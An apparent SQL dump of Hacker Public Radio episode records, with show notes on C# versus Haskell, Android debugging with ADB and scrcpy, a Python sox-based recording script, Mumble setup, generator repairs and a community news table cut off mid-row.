(3508,'2022-01-12','Differences between C# and Haskell',1712,'Tuula talks about some of the differences between C# and Haskell','<p>This episode covers some of the differences between C# and Haskell. I\'m probably going to omit lot of things accidentally.</p>\r\n<ul>\r\n<li>Origin: practical language for solving real world problems vs. programming language research</li>\r\n<li>Main paradigm: object oriented vs purely functional</li>\r\n<li>Changing data: mutability vs. immutability</li>\r\n<li>Data structures: inheritance vs. composition</li>\r\n<li>Execution model: strict vs. nonstrict</li>\r\n<li>Side effects: anywhere vs. specifically marked areas in the code</li>\r\n</ul>\r\n<p>Thanks for listening, if you have any questions or comments, you can reach me via email or in fediverse, where I\'m <code>Tuula@tech.lgbt</code>. Or even better, you could record your own hacker public radio episode.</p>\r\n',364,107,0,'CC-BY-SA','haskell, c#, programming',0,0,1),
(3515,'2022-01-21','ADB and scrcpy',565,'Some useful tools for working with Android Devices','<h1 id=\"android-debugging\">Android Debugging</h1>\r\n<ul>\r\n<li><a href=\"https://developer.android.com/studio/command-line/adb\">Android Debug Bridge (adb) homepage</a></li>\r\n</ul>\r\n<h2 id=\"install-adb-tools\">Install ADB Tools</h2>\r\n<p>There are multiple guides online as to how to install, but I found <code>dnf install android-tools.x86_64 adb-enhanced.noarch</code> the easiest. Similar commands are available for the other distros. Use your package manager to search for <code>adb</code>.</p>\r\n<ul>\r\n<li><a href=\"https://www.xda-developers.com/install-adb-windows-macos-linux/\">https://www.xda-developers.com/install-adb-windows-macos-linux/</a></li>\r\n</ul>\r\n<h2 id=\"enable-developer-options\">Enable Developer options</h2>\r\n<p>Go to Settings. Usually via the pulldown menu from the top twice, and click the cog icon. Search for \'Build Number\', it\'s usually in Click on \'About Phone\' Click on \'Build Number\' seven times.</p>\r\n<p>Go back and then search for \'Developer options\' it\'s usually in the System section</p>\r\n<p>You\'ll need to turn on two features \'Android Debugging\' and \'ADB over network\'</p>\r\n<p>While we are at it, go back and then search for \'IP Address\' it\'s usually in the <code>About phone</code> section. You should see a IPv4 address eg: 192.168.1.100. Make note of the IP address as we\'ll use it later.</p>\r\n<h2 id=\"using-adb\">Using ADB</h2>\r\n<p>To get help use the command <code>adb help</code></p>\r\n<ul>\r\n<li>global options: Tell you how to connect to the phone</li>\r\n<li>general commands: Shows your devices, and gives help</li>\r\n<li>networking: Allows you to connect over the network but also to port forward and reverse traffic</li>\r\n<li>file transfer: The only reliable way to get files to and from your device.</li>\r\n<li>internal debugging: Shows how to control the server</li>\r\n</ul>\r\n<h3 id=\"usb\">USB</h3>\r\n<p>Plug your phone using a usb cable. There will be a notification and a popup to allow the connection.</p>\r\n<p>Run <code>adb shell</code> and all going well you should see your phone. Commands like <code>ls</code>, <code>cd</code>, and <code>find</code> work well. For example <code>find /storage/self/primary/</code>.</p>\r\n<h3 id=\"network\">Network</h3>\r\n<p>Unfortunately if you unplug your phone you no longer have a connection to it, but you can enable network access via tcp. Leave your phone connected to USB and then tell it to use a TCP/IP connection with the command <code>adb tcpip 5555</code>.</p>\r\n<p>Then connect to the phone using the phones IP address and port 5555, <code>adb connect 192.168.1.100:5555</code>. It should reply with a connected to message</p>\r\n<pre><code>$ adb connect 192.168.1.100:5555\r\nconnected to 192.168.1.100:5555</code></pre>\r\n<p>Now commands like <code>adb shell</code> should allow you to access the phone even if it\'s not physically connected via usb.</p>\r\n<h3 id=\"multiple-devices\">Multiple devices</h3>\r\n<p>Got multiple devices then you can connect them all in the same way as shown above. The only issue is you need to tell adb which one you want to address.</p>\r\n<p>The first thing you need to do is list the devices</p>\r\n<pre><code>$ adb devices -l\r\nList of devices attached\r\n192.168.1.100:5555 device product:XXXX model:XXXX device:XXXX transport_id:9\r\n192.168.1.101:5555 device product:YYYY:ZZZZ device:ZZZZ transport_id:14</code></pre>\r\n<p>The important bit is the <code>transport_id</code> at the end. You can then use the <code>adb</code> command as normal but specifying the <code>-t</code> option</p>\r\n<pre><code>-t: allocate a pty if on a tty (-tt: force pty allocation)</code></pre>\r\n<p>So for example <code>adb -t 14 shell</code> would connect to phone <em>YYYY</em></p>\r\n<p>So that\'s it for remote control from the shell, but what if you want to see and interact with the screen itself ?</p>\r\n<h2 id=\"remote-screen-sharing-with-scrcpy\">Remote screen sharing with <code>scrcpy</code></h2>\r\n<p>From <a href=\"https://en.wikipedia.org/wiki/scrcpy\">Wikipedia</a></p>\r\n<p><em>scrcpy is a free and open-source screen mirroring application that allows control of an Android device from a Windows, macOS, or Linux desktop computer. The software is currently developed by Genymobile, which also developed Genymotion, an Android emulator.</em></p>\r\n<p>The <a href=\"https://github.com/Genymobile/scrcpy\">source code is available on github</a>. It\'s available via <code>apt install scrcpy</code> on Ubuntu. In Fedora you\'ll need to enable it from the copr repo.</p>\r\n<pre><code>dnf copr enable zeno/scrcpy\r\ndnf install scrcpy</code></pre>\r\n<p>With only one phone connected you can just type <code>scrcpy</code> and the screen will appear. Remember right click is power, and the mouse is your finger ;-).</p>\r\n<p>If you have multiple devices connected you can connect using <code>scrcpy --tcpip=192.168.1.101:5555</code></p>\r\n<p>scrcpy is a wonderful tool that deserves a show in itself, but in short it lets you interact with your phone as if it was a VNC/Remote Desktop session. You can copy text <em>from</em> the phone as well.</p>\r\n<p>It allows for control of the screen, as well as screen recording.</p>\r\n',30,0,0,'CC-BY-SA','adb,scrcpy,android Debug Bridge',0,0,1),
(3493,'2021-12-22','My First Spanish HPR Episode',302,'A short Spanish episode inspired by discussions about non-English episodes on the HPR mailing list.','<ul>\r\n<li>Mendoza, Argentina - <a href=\"https://en.wikipedia.org/wiki/Mendoza,_Argentina\">https://en.wikipedia.org/wiki/Mendoza,_Argentina</a></li>\r\n<li>Spanish (Castilian/Castellano) Language - <a href=\"https://en.wikipedia.org/wiki/Spanish_language\" class=\"uri\">https://en.wikipedia.org/wiki/Spanish_language</a></li>\r\n<li>Texto-Plano - <a href=\"https://texto-plano.xyz\" class=\"uri\">https://texto-plano.xyz</a></li>\r\n<li>El Podcast de Texto-Plano - <a href=\"https://podcast.texto-plano.xyz/\" class=\"uri\">https://podcast.texto-plano.xyz/</a></li>\r\n<li>SDF - <a href=\"https://sdf.org\" class=\"uri\">https://sdf.org</a></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','spanish,languages,castellano,espanol,pubnix,textoplano,podcast',0,0,1),
(3498,'2021-12-29','Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies',8076,'the same as the title so I\'m not going to repeat it','<p>In this end of year episode / Xmas bumper our two aging heroes host the Grumpy Old Coders\r\nonce again. Apart from having lots of fun, our four eclectic panelists discuss the year in\r\nreview and some obscure predictions the Inlaws made at the end of last year in S01E20 to\r\nsee if these became true or not. Plus a seriously long commercial break on mainframes\r\ndone by our own Chris (Arvind / Jim / IBM: If you\'re listening: the sponsor mail address\r\nis ibm_sponsor@linuxinlaws.eu). Plus some juicy competitive knowledge about some hyperscalers.\r\nBeans spilled right from the inside... In addition to cloud nightmares. So if you\'re into\r\nhorror after never mind beyond Halloween this is your episode... There might be the odd open source\r\nangle to this episode but we are not sure and this of course is purely by accident - just find out for yourself! :-)\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Grumpy Old Coders (incuding the Darkside and Women in Tech episodes): <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n<li>Broken CentOS 8 promise: <a href=\"https://blog.centos.org/2020/12/future-is-centos-stream\" target=_blank>https://blog.centos.org/2020/12/future-is-centos-stream</a></li>\r\n<li>Mainframes and the cloud: <a href=\"https://www.forbes.com/sites/tomtaulli/2021/01/23/will-the-cloud-take-down-the-mainframe\" target=_blank>https://www.forbes.com/sites/tomtaulli/2021/01/23/will-the-cloud-take-down-the-mainframe</a></li>\r\n<li>Woman in the red dress: <a href=\"https://matrix.fandom.com/wiki/Woman_in_Red\" target=_blank>https://matrix.fandom.com/wiki/Woman_in_Red</a></li>\r\n<li>Goedel\'s theorems: <a href=\"https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems\" target=_blank>https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems</a></li>\r\n<li>Veritasium video on incompleteness: <a href=\"https://www.youtube.com/watch?v=HeQX2HjkcNo\" target=_blank>https://www.youtube.com/watch?v=HeQX2HjkcNo</a></li>\r\n<li>Bezos laughing after divorce: <a href=\"https://www.youtube.com/watch?v=MU8AyKO7qX4\" target=_blank>https://www.youtube.com/watch?v=MU8AyKO7qX4</a></li>\r\n<li>KGB (I): <a href=\"https://stackoverflow.com/questions/19904683/passing-a-kernel-global-buffer-to-a-local-function-in-opencl\" target=_blank>https://stackoverflow.com/questions/19904683/passing-a-kernel-global-buffer-to-a-local-function-in-opencl</a></li>\r\n<li>KGB (II): <a href=\"https://www.google.com/search?channel=fs&client=ubuntu&q=%22kellogs+greatest+beer%22\" target=_blank>https://www.google.com/search?channel=fs&client=ubuntu&q=%22kellogs+greatest+beer%22</a></li>\r\n<li>Shameless Zig plug (dedicated to Loris :-): <a href=\"https://ziglang.org\" target=_blank>https://ziglang.org</a></li>\r\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=_blank>https://www.tiobe.com/tiobe-index</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Mainframes, IBM, Hyperscaler secrets, Rust, old men, programming languages',0,0,1),
(3495,'2021-12-24','Podcast Recommendation: The Retroist',92,'Podcast Recommendation: The Retroist number 243 - Die Hard','<p>Retroist Podcast Episode 243 (Die Hard)</p>\r\n<ul>\r\n<li><a href=\"https://retroist.com/retroist-die-hard-podcast\" class=\"uri\">https://retroist.com/retroist-die-hard-podcast<a/></li>\r\n<li><a href=\"https://archive.org/details/retroist-podcast-episode-243-die-hard\" class=\"uri\">https://archive.org/details/retroist-podcast-episode-243-die-hard</a></li>\r\n</ul>\r\n<p>A nostalgic look at the action film Die Hard, released in 1988. Also a look at whether or not Die Hard is a Christmas movie.</p>\r\n<ul>\r\n<li>Comments to this subject are welcome.</li>\r\n<li>Based on the book, Nothing Lasts Forever\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nothing_Lasts_Forever_(Thorp_novel)\" class=\"uri\">https://en.wikipedia.org/wiki/Nothing_Lasts_Forever_(Thorp_novel)</a></li>\r\n<li><a href=\"https://diehard.fandom.com/wiki/Nothing_Lasts_Forever\" class=\"uri\">https://diehard.fandom.com/wiki/Nothing_Lasts_Forever</a></li>\r\n</ul></li>\r\n<li>Bruce Willis was previously known for the TV Series, Moonlighting\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Moonlighting_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Moonlighting_(TV_series)</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,75,0,'CC-BY-SA','retro,retroist,nostalgia,1988,die hard,bruce willis,podcast',0,0,1),
(3494,'2021-12-23','Recent Generator Repairs and Maintenance',1080,'I talk about my Generac 4000XL gasoline-powered generator and what I\'ve done to get it running right','<p>In this episode I talk about some work I\'ve done recently on my Generac 4000xl portable generator. Here are some images to accompany the episode. First a beefcake shot of the unit:</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/01Generac4000xl.jpeg\" /></p>\r\n\r\n\r\n<p>This is the power panel on the generator</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/02PowerPanel.jpeg\" /></p>\r\n\r\n<p>Here\'s the receptacle for the fat cable with a 4-prong plug. This goes right into my main electrical panel.</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/04ReceptableGoingtoBox.jpeg\" /></p>\r\n\r\n<p>Here\'s the interlock switch on my panel, which allows you to plug the generator into your panel safely.</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/03Interlock.jpeg\" /></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n <li>James Condon\'s YouTube Channel on small-engine repair (mostly generators) <a href=\"https://www.youtube.com/user/jcondon2007\">https://www.youtube.com/user/jcondon2007</a></li>\r\n <li>Wikipedia article about <a href=\"https://en.wikipedia.org/wiki/Hydrolock\">hydrolock</a> in engines\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','Engine repair, generators, electricity, emergency preparedness',0,0,1),
(3509,'2022-01-13','Linux Inlaws S01E46: The Matrix Project (Without Neo)',4315,'The Matrix Project Without Neo','<p>In this episode, the Inlaws are hosting Neil Johnson, VP of Engineering at Element. But this is\r\nnot just about this popular Matrix graphical user interface but rather about this federated communication\r\nnetwork dubbed as the next big thing after Mastodon and Discord, soon to take over the world (pretty\r\nmuch like the Inlaws themselves - it\'s gonna get crowded... :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>The Matrix Foundation: <a href=\"https://matrix.org/foundation\" target=_blank>https://matrix.org/foundation</a></li>\r\n<li>Element: <a href=\"https://github.com/vector-im/element-web\" target=_blank>https://github.com/vector-im/element-web</a></li>\r\n<li>Synapse (Matrix reference implementation in Python): <a href=\"https://github.com/matrix-org/synapse\" target=_blank>https://github.com/matrix-org/synapse</a></li>\r\n<li>Dendrite (Matrix implementation in Gloang): <a href=\"https://github.com/matrix-org/dendrite\" target=_blank>https://github.com/matrix-org/dendrite</a></li>\r\n<li>Conduit (Matrix implementation in Rust): <a href=\"https://github.com/timokoesters/conduit\" target=_blank>https://github.com/timokoesters/conduit</a></li>\r\n<li>EU interoperability: <a href=\"https://ec.europa.eu/isa2/sites/default/files/eif_brochure_final.pdf\" target=_blank>https://ec.europa.eu/isa2/sites/default/files/eif_brochure_final.pdf</a></li>\r\n<li>Terry Pratchett: <a href=\"https://en.wikipedia.org/wiki/Terry_Pratchett#Works\" target=_blank>https://en.wikipedia.org/wiki/Terry_Pratchett#Works</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Matrix, Element, federated social network, peer-to-peer communication',0,0,1),
(3496,'2021-12-27','How I record HPR Episodes',1707,'Some python to record short segments of audio.','<p><a href=\"https://gitlab.com/norrist/solocast\">https://gitlab.com/norrist/solocast</a></p>\r\n<h3 id=\"sample-scripttxt\">Sample script.txt</h3>\r\n<pre class=\"txt\"><code>This is a sample script for solocast.\r\nSeparate the segments with a blank line\r\n\r\nBulleted lists are OK, but keep the items together by not skipping a line\r\n- Item 1\r\n- Item 2\r\n\r\n### Markdown Formatting is OK\r\nBut the Formatting gets lost in the script\r\nso you can write show notes in loosely formatted markdown\r\n\r\nDon&#39;t have more than 1 blank line separating segments\r\n</code></pre>\r\n<h3 id=\"solocastpy\">solocast.py</h3>\r\n<pre class=\"python\"><code>#! /usr/bin/env python3\r\n\r\nimport click\r\nimport os\r\nfrom shutil import which\r\n\r\nscript_file = &quot;script.txt&quot;\r\nrecording_directory_name = &quot;Recordings&quot;\r\nrecording_format = &quot;wav&quot;\r\nscript_segments = {}\r\n\r\n\r\ndef test_sox_exists():\r\n try:\r\n assert which(&quot;sox&quot;)\r\n except AssertionError:\r\n print(&quot;Cant find sox. Install sox somewhere in your path.&quot;)\r\n exit(1)\r\n\r\n\r\ndef get_recording_file_name(slug):\r\n return f&quot;{recording_directory_name}/{slug}.{recording_format}&quot;\r\n\r\n\r\ndef project_prep():\r\n if not os.path.exists(recording_directory_name):\r\n os.makedirs(recording_directory_name)\r\n if not os.path.exists(f&quot;{recording_directory_name}/Archive&quot;):\r\n os.makedirs(f&quot;{recording_directory_name}/Archive&quot;)\r\n\r\n\r\ndef wait_for_input():\r\n click.echo(&quot;*&quot; * 40)\r\n _ = input(&quot;Press ENTER to Continue&quot;)\r\n\r\n\r\ndef add_slug_text(slug, text):\r\n script_segments[slug] = text\r\n\r\n\r\ndef recording_exists(slug):\r\n if os.path.isfile(get_recording_file_name(slug)):\r\n return True\r\n return False\r\n\r\n\r\ndef noise_profile_missing():\r\n if os.path.isfile(f&quot;{recording_directory_name}/noise.prof&quot;):\r\n return False\r\n return True\r\n\r\n\r\ndef truncate_audio(slug):\r\n recording = get_recording_file_name(slug)\r\n new_recording = f&quot;{recording_directory_name}/{slug}-truncated.{recording_format}&quot;\r\n click.echo(f&quot;truncating {recording}&quot;)\r\n\r\n SOX_CMD = (\r\n f&quot;sox -V2 {recording} {new_recording} silence -l 1 0.1 .1% -1 1.0 .1% stat&quot;\r\n )\r\n click.echo(SOX_CMD)\r\n os.system(SOX_CMD)\r\n os.system(\r\n f&quot; mv -v {recording} {recording_directory_name}/Archive/{slug}.{recording_format}&quot;\r\n )\r\n os.rename(new_recording, recording)\r\n review_audio(slug)\r\n\r\n\r\ndef play_audio(slug):\r\n recording = get_recording_file_name(slug)\r\n click.echo(f&quot;Playing {recording}&quot;)\r\n os.system(f&quot;play {recording}&quot;)\r\n review_audio(slug)\r\n\r\n\r\ndef delete_audio(slug):\r\n recording = get_recording_file_name(slug)\r\n os.remove(recording)\r\n\r\n\r\ndef review_audio(slug):\r\n review_menu = [&quot;(p)lay&quot;, &quot;(a)ccept&quot;, &quot;(r)eccord again&quot;, &quot;(t)runcate&quot;]\r\n click.echo(slug)\r\n for i in review_menu:\r\n click.echo(i)\r\n menu_action = input(&quot;&gt;&gt; &quot;)\r\n if menu_action == &quot;p&quot;:\r\n play_audio(slug)\r\n elif menu_action == &quot;a&quot;:\r\n exit()\r\n elif menu_action == &quot;r&quot;:\r\n delete_audio(slug)\r\n find_and_record_next()\r\n elif menu_action == &quot;t&quot;:\r\n truncate_audio(slug)\r\n else:\r\n review_audio(slug)\r\n\r\n\r\ndef record_audio(slug):\r\n new_recording = get_recording_file_name(slug)\r\n click.echo(f&quot;Creating {new_recording}&quot;)\r\n click.echo(&quot;press Enter to start then CRTL-C to quit&quot;)\r\n wait_for_input()\r\n os.system(f&quot;rec {new_recording}&quot;)\r\n\r\n\r\ndef record_silent_audio():\r\n silent_recording = f&quot;{recording_directory_name}/silence.{recording_format}&quot;\r\n click.echo(&quot;RECORD 5 SECONDS OF SILENCE \\n&quot; * 5)\r\n click.echo(&quot;press Enter to start&quot;)\r\n wait_for_input()\r\n os.system(f&quot;rec {silent_recording} trim 0 5&quot;)\r\n os.system(\r\n f&quot;sox {silent_recording} -n noiseprof {recording_directory_name}/noise.prof&quot;\r\n )\r\n\r\n\r\ndef load_script():\r\n linetext = &quot;&quot;\r\n with open(script_file) as script_file_reader:\r\n for line in script_file_reader.readlines():\r\n\r\n if not line.strip():\r\n\r\n slug = linetext[:40].title()\r\n segment_name = &quot;&quot;.join(filter(str.isalnum, slug))\r\n add_slug_text(segment_name, linetext)\r\n linetext = &quot;&quot;\r\n\r\n else:\r\n linetext += f&quot;{line} \\n&quot;\r\n\r\n\r\ndef combine_recordings_for_export():\r\n recording_list = []\r\n combined_recording = f&quot;{recording_directory_name}/combined.{recording_format}&quot;\r\n for slug, text in script_segments.items():\r\n recording = get_recording_file_name(slug)\r\n recording_list.append(recording)\r\n recording_list_string = &quot; &quot;.join(recording_list)\r\n print(recording_list_string)\r\n SOX_CMD = f&quot;sox -V3 {recording_list_string} {combined_recording} noisered {recording_directory_name}/noise.prof 0.21 norm -10&quot;\r\n click.echo(SOX_CMD)\r\n os.system(SOX_CMD)\r\n\r\n\r\ndef find_and_record_next():\r\n for slug, text in script_segments.items():\r\n if recording_exists(slug):\r\n continue\r\n click.clear()\r\n click.echo(slug)\r\n click.echo(&quot;*&quot; * 40)\r\n click.echo(text)\r\n click.echo(&quot;*&quot; * 40)\r\n record_audio(slug)\r\n review_audio(slug)\r\n\r\n\r\n@click.group()\r\ndef cli():\r\n test_sox_exists()\r\n pass\r\n\r\n\r\n@cli.command()\r\ndef combine():\r\n &quot;Combine Segments into single audio file&quot;\r\n combine_recordings_for_export()\r\n\r\n\r\n@cli.command()\r\ndef record():\r\n &quot;Record next unrecorded segment&quot;\r\n if noise_profile_missing():\r\n record_silent_audio()\r\n find_and_record_next()\r\n\r\n\r\n@cli.command()\r\ndef silence():\r\n &quot;Generate noise profile&quot;\r\n record_silent_audio()\r\n\r\n\r\n\r\n@cli.command()\r\ndef review():\r\n &quot;Print segments&quot;\r\n\r\n for slug, text in script_segments.items():\r\n click.clear()\r\n click.echo(slug)\r\n click.echo(&quot;*&quot; * 40)\r\n click.echo()\r\n click.echo(text)\r\n wait_for_input()\r\n\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n project_prep()\r\n load_script()\r\n cli()\r\n</code></pre>\r\n',342,0,0,'CC-BY-SA','python,sox',0,0,1),
(3518,'2022-01-26','Linux Inlaws S01E47: BigBlueButton and NAT',3272,'Our two OAPs discuss running conferencing systems like BigBlueButton behind NAT','<p>In this episode of your favourite FLOSS podcast our two OAPs discuss the challenges of running\r\nconferencing systems like BigBlueButton behind a network address translation\r\n(NAT) configuration, something that the Inlaws have been struggeling (?) with\r\nfor quite some time but now have arrived a solution which might just work :-).\r\nIf you face similar challenges or just want to refresh your knowledge about\r\nintricate network architectures never mind their pitfalls, stay tuned. All\r\nwill be revealed (hopefully :-). But beware: This show is highly technical and\r\ngeek-only. Which may come in handy if you\'re not technical but suffer from\r\ninsomnia or similar sleep disorders - this is your show!</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Network Address Translation (NAT): <a href=\"https://en.wikipedia.org/wiki/Network_address_translation\" target=_blank>https://en.wikipedia.org/wiki/Network_address_translation</a></li>\r\n<li>BigBlueButton (BBB): <a href=\"https://github.com/bigbluebutton/bigbluebutton\" target=_blank>https://github.com/bigbluebutton/bigbluebutton</a></li>\r\n<li>TURN server: <a href=\"https://gabrieltanner.org/blog/turn-server\" target=_blank>https://gabrieltanner.org/blog/turn-server</a></li>\r\n<li>STUN and more: <a href=\"https://en.wikipedia.org/wiki/STUN\" target=_blank>https://en.wikipedia.org/wiki/STUN</a></li>\r\n<li>Google TURN servers: <a href=\"https://gist.github.com/sagivo/3a4b2f2c7ac6e1b5267c2f1f59ac6c6b\" target=_blank>https://gist.github.com/sagivo/3a4b2f2c7ac6e1b5267c2f1f59ac6c6b</a></li>\r\n<li>Dehydrated: <a href=\"https://github.com/dehydrated-io/dehydrated\" target=_blank>https://github.com/dehydrated-io/dehydrated</a></li>\r\n<li>WebRTC: <a href=\"https://webrtc.org/getting-started/overview\" target=_blank>https://webrtc.org/getting-started/overview</a></li>\r\n<li>Parallels: <a href=\"https://www.imdb.com/title/tt3479316/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt3479316/?ref_=nv_sr_srsg_0</a></li>\r\n<li>Philip K. Dick\'s Vulcan Hammer: <a href=\"https://en.wikipedia.org/wiki/Vulcan%27s_Hammer\" target=_blank>https://en.wikipedia.org/wiki/Vulcan%27s_Hammer</a></li>\r\n<li>The Ice Road: <a href=\"https://www.imdb.com/title/tt3758814/?ref_=nm_flmg_act_7\" target=_blank>https://www.imdb.com/title/tt3758814/?ref_=nm_flmg_act_7</a></li>\r\n<li>Sorcerer: <a href=\"https://www.imdb.com/title/tt0076740/?ref_=fn_tt_tt_8\" target=_blank>https://www.imdb.com/title/tt0076740/?ref_=fn_tt_tt_8</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','BigBlueButton, Network Address Translation, TURN, STUN, WebRTC, Parallels, Vulcan\'s Hammer, The Ice ',0,0,1),
(3497,'2021-12-28','Jankilators.',1275,'Follow the wail of the janky scissor monster into the muddy flux of headtorch borderlands. ','<p>Three phase alternating current generated from an axial flux alternator.</p>\r\n<p>I did find plans which seem to describe themselves as open. I might get around to posting them at a web site, but that exists much less than other comprehensive banks of searchable information on the internet.</p>\r\n<p>Someone suggested some alternators constructed with as many wooden parts as possible, which makes the whole endeavour more accessible and energy efficient. Thank you HPR new year show, for that.</p>\r\n<p>Wind turbine towers are the difficult part, and obviously dangerous.</p>\r\n<p>Tiny generators are cool to cobble from discarded equipment junk.</p>\r\n<p>A solid axial alternator is easy and robust. They can channel a lot of power if the wires are thick enough. Gears exist.</p>\r\n<p>Pedal, and hang sacks.</p>\r\n',398,0,1,'CC-BY-SA','oscillators,complexity,flux,alternator,3phase,field,trees,sky',0,0,1),
(3502,'2022-01-04','New year Greetings and a short review of my new Juno PC',291,'I just ramble for a few minutes about my new Juno PC','<p>Hi to all HPR listeners this is a short show just to say Hi and a happy New Year to those in HPR land I may not have talked to over the Mumble marathon (and that is most of you). My main news is my new Juno PC which I got just before Christmas and It is a massive upgrade for me from my old Gen 3 i7 PC I was using. In real world tests it is about 5 times faster than my old PC and editing Audio and images is a breeze. I got the Brutus 5000 with a Ryzen 9 5900 CPU 32Gb RAM and a 1TB Nvme SSD. It came pre loaded with Ubuntu 20.04 but I installed Linux Mint 20.2 and after getting the details of the PPA for the Juno Drivers everything is working fine. Ports wise for a tiny PC it is OK but I have added a USB 3 powered Hub with 4 extra ports and in the new year will get one with a few more to help me tidy up the wiring snakes on the desk.</p>\r\n<p>For some reason it no longer sees any bootable USB drives at boot after pressing of the boot menu key so a bit of investigation is needed to get that to work again, but on the whole I am a happy camper.</p>\r\n<p>Well that\'s me for this show short as it was if you want more of my ramblings along with my fellow hosts Moss and Dale pop over to Distrohoppers\' Digest and see what we have been up to, we record a new show about once a month.</p>\r\n<ul>\r\n<li><p><a href=\"https://junocomputers.com/product/brutus-5000/\" class=\"uri\">https://junocomputers.com/product/brutus-5000/</a></p></li>\r\n<li><p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Ubuntu, Linux Mint, Juno computers, Ryzen 5900, New Year Greetings',0,0,1),
(3503,'2022-01-05','Configuring Mumble',906,'In this episode we will show you how to connect to the HPR Community Room on Mumble.','<p>\r\nThe complete shownotes are available in <a href=\"/mumble-howto\">our mumble how-to</a>. \r\n</p>\r\n<p>\r\nWhen using Mumble <strong><em>you should always use a microphone and headset</em></strong> positioned close to your mouth but slightly off to the side.\r\n</p>\r\n<p>\r\nThe <a href=\"https://www.mumble.info/downloads/\">Mumble website offers download and install instructions</a> for different operating systems.\r\n</p>\r\n<p>\r\nOnce you have installed the client then connect to the <a href=\"mumble://chatter.skyehaven.net:64738/Hacker%20Public%20Radio?version=1.2.0\">HPR Room on Mumble</a>.\r\n<p>\r\nThere is a first run wizard that will step you through the process of configuring Mumble the first time. This will open up a series of configuration options.\r\n</p>\r\n<p>\r\nIt is <strong>very important</strong> that you set <strong>Push to Talk (PTT)</strong> and you <strong>Disable Text-To-Speech</strong>, as you will disturb the other people in the room if you select the other methods. It may seem to be working fine to you, but it <em>will</em> result in issues for the others.\r\n</p>\r\n<p>\r\nYou are expected to have a digital certificate when connecting to Mumble servers. An automatically created one is usually fine.\r\n</p>\r\n<p>\r\nOnce you have the Mumble client set up we can now start the process of connecting to the <a href=\"mumble://chatter.skyehaven.net:64738/Hacker%20Public%20Radio?version=1.2.0\">HPR Room on Mumble</a>.\r\n</p>\r\n<p>\r\nIf at any time you need to add the HPR server open mumble and press <strong>Server - Connect</strong>, press <strong>Add New...</strong>and enter the following information for the HPR server:\r\n</p>\r\n<ul>\r\n<li>Address: <strong>chatter.skyehaven.net</strong></li>\r\n<li>Port: 64738</li>\r\n<li>Username: <strong><em>Your Username</em></strong></li>\r\n<li>Label: chatter.skyehaven.net</li>\r\n</ul>\r\n<p>\r\nThink about your username a bit as if you register it on the server you will not be able to change it again.\r\n</p>\r\n<p>\r\nBefore connecting to any room it\'s good etiquette to make sure your audio is working correctly. The room <strong>Audio Test</strong> will allow you to speak and the <strong>OpieTheRepeatherBot</strong> will record your speech and after 10 seconds will play it back for you.\r\n</p>\r\n\r\n',30,0,0,'CC-BY-SA','mumble,hpr mumble, new year show',0,0,1),
(3761,'2023-01-02','HPR Community News for December 2022',2695,'HPR Volunteers talk about shows released and comments posted in December 2022','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3739\" target=\"_blank\">3739</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3739\" target=\"_blank\">Multipactors for the masses.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3740\" target=\"_blank\">3740</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3740\" target=\"_blank\">Batch File Variables; Nested Batch Files</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3741\" target=\"_blank\">3741</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3741\" target=\"_blank\">HPR Community News for November 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3742\" target=\"_blank\">3742</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3742\" target=\"_blank\">Battery</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken 